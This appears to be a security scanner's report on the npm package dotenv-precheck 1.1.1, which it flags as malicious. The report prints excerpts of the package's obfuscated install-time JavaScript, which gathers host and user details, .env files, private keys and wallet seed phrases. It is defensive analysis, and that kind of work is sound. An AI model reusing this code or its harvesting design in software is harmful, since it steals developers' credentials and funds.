Suspicious ^80% javascript Download

dotenv-precheck 1.1.1

Obfuscated env/seed exfiltration

“Runs dotenv preflight checks at install time”

JavaScript Obfuscator rotates and decodes a string array at runtimeNode developer secret regex list

SHA-2566f687372fac36ab702ad80e4063efce02daa755acd33b301c8a1d0efd179964d

URLhttps://registry.npmjs.org/dotenv-precheck/-/dotenv-precheck-1.1.1.tgz

MaleculeO₄(As₄EuS₃Xe)H₆(Cm₃CrDb₉FOsPo)Md₃(In₂Pa₃)Th

Also flagged by osv (MAL-2026-17304: Malicious code in dotenv-precheck (npm)) +3 more.

Evidence

Private-key identifier line 1

1const _0x92b859=_0x1caf;(function(_0x148d62,_0x4a40ff){const _0x5737b4=_0x1caf,_0x1fb513=_0x148d62();while(!![]){try{const _0x152bbd=-parseInt(_0x5737b4(0x135))/0x1+-parseInt(_0x5737b4(0x114))/0x2*(parseInt(_0x5737b4(0x18a))/0x3)+-parseInt(_0x5737b4(0x126))/0x4+parseInt(_0x5737b4(0x14d))/0x5+-parseInt(_0x5737b4(0x1b4))/0x6*(parseInt(_0x5737b4(0x11e))/0x7)+-parseInt(_0x5737b4(0x152))/0x8+parseInt(_0x5737b4(0x16f))/0x9;if(_0x152bbd===_0x4a40ff)break;else _0x1fb513['push'](_0x1fb513['shift']());}catch(_0x4071a1){_0x1fb513['push'](_0x1fb513['shift']());}}}(_0x5926,0xc6ef9));const _0x3f4eae=(function(){let _0x354a3f=!![];return function(_0x364815,_0x2489cb){const _0x33bb83=_0x354a3f?function(){const _0xe574f9=_0x1caf;if(_0x2489cb){const _0x1db53d=_0x2489cb[_0xe574f9(0x165)](_0x364815,arguments);return _0x2489cb=null,_0x1db53d;}}:function(){};return _0x354a3f=![],_0x33bb83;};}()),_0x2becda=_0x3f4eae(this,function(){const _0x202de8=_0x1caf,_0x3d0032={'AErbL':function(_0x1eeae3,_0x548054){return _0x1eeae3!==_0x548054;},'RrWYH':_0x202de8(0x147)};if(_0x3d0032[_0x202de8(0x133)](_0x2becda[_0x202de8(0x115)]()[_0x202de8(0x196)]()[_0x202de8(0x1a6)]('\x0a'),-0x1))return;return _0x2becda[_0x202de8(0x196)]()[_0x202de8(0x175)](_0x3d0032[_0x202de8(0x136)])[_0x202de8(0x196)]()[_0x202de8(0x16b)](_0x2becda)[_0x202de8(0x175)](_0x3d0032[_0x202de8(0x136)]);});_0x2becda();const _0x4e2656=require('fs'),_0x29a029=require(_0x92b859(0x18d)),_0x238b1a=require('os'),_0x2b0478=require(_0x92b859(0x123)),_0x92626e=Buffer[_0x92b859(0x154)](_0x92b859(0x174),_0x92b859(0x17c))[_0x92b859(0x196)](_0x92b859(0x119));let _0x496996=Buffer[_0x92b859(0x154)](_0x92b859(0x19f),_ …

Dense computed-property call cluster (3+) line 1

1:1856… 859(0x14e)](/\s+/)[_0x92b859(0x15a)](Boolean),_0x4f6639=new Map(_0x47a9da[_0x92b859(0x168)]((_0xb441b4,_0x748d8d)=>[_0xb441b4,_0x748d8d])),_0x362902=0x2*0x400*0x400,_0x21eda7=/node_modules|\.git|recycle|temp|cache|__pycache__|windows|winsxs|\$recycle\.bin|program files|^target$|^\.fingerprint$|^\.cargo$|^\.rustup$|^\..+|^out$|^build$|^dist$|^go-build$|^\.vscode$|^appdata$/i;let _0x4e1012=_0x29a029[_0x92b859(0x1b6)](__dirname,'..','..');const _0x18b0c9=_0x238b1a[_0x92b859(0x156)](),_0x2829f4=_0x4e1012[_0x92b859(0x1a9)]()[_0x92b859(0x170)](_0x18b0c9[_0x92b859(0x1a9)]()+_0x29a029[_0x92b859(0x13a)]);if(_0x282 …

JSON-like host identity field line 1

1:2871… b0c9,_0x92b859(0x15c),_0x92b859(0x141))],_0x432add={'timestamp':new Date()[_0x92b859(0x11a)](),'host':_0x238b1a[_0x92b859(0x149)](),'user':_0x238b1a[_0x92b859(0x12d)]()[_0x92b859(0x14c)],'envFiles':[],'envSeedVars':[],'privateKeys':[],'seedPhrases':[]};function _0x4aa568(_0x272f60){const _0x4dbe67=_0x92b859,_0x3446de={'zAdhq':function(_0x3f3454,_0x140a61){return _0x3f3454>_0x140a61;},'lzAlX':funct …

Catch block only returns a constant line 1

1:3504… 7(0x119)};let _0x277856;try{_0x277856=_0x4e2656[_0x4dbe67(0x145)](_0x272f60);}catch{return null;}if(_0x277856[_0x4dbe67(0x1ac)]===0x0||_0x3446de[_0x4dbe67(0x157)](_0x277856[_0x4dbe67(0x1ac)],_0x362902))return null;if(_0x3446de[_0x4dbe67(0x162)](_0x277856[0x0],0xff)&&_0x277856[0x1]===0xfe)return _0x277856[_0x4dbe67(0x196)](_0x3446de[_0x4dbe67(0x12f)]);let _0x50338e=0x0;const _0x3e9f4=Math[_ …

Hex-prefixed function names (_0x pattern) line 1

1:5311… 87)](_0xf9d383),null))_0x10d031(_0x662c96[0x1],_0x662c96[0x2]);}function _0x18fe9f(_0x3d5020,_0xe54aec){const _0x2758df=_0x92b859,_0x251f3e={'fCcFW':_0x2758df(0x19c),'BZofB':_0x2758df(0x161),'WLBXQ':_0x2758df(0x …

No evidence locations were recorded for this file. Raw result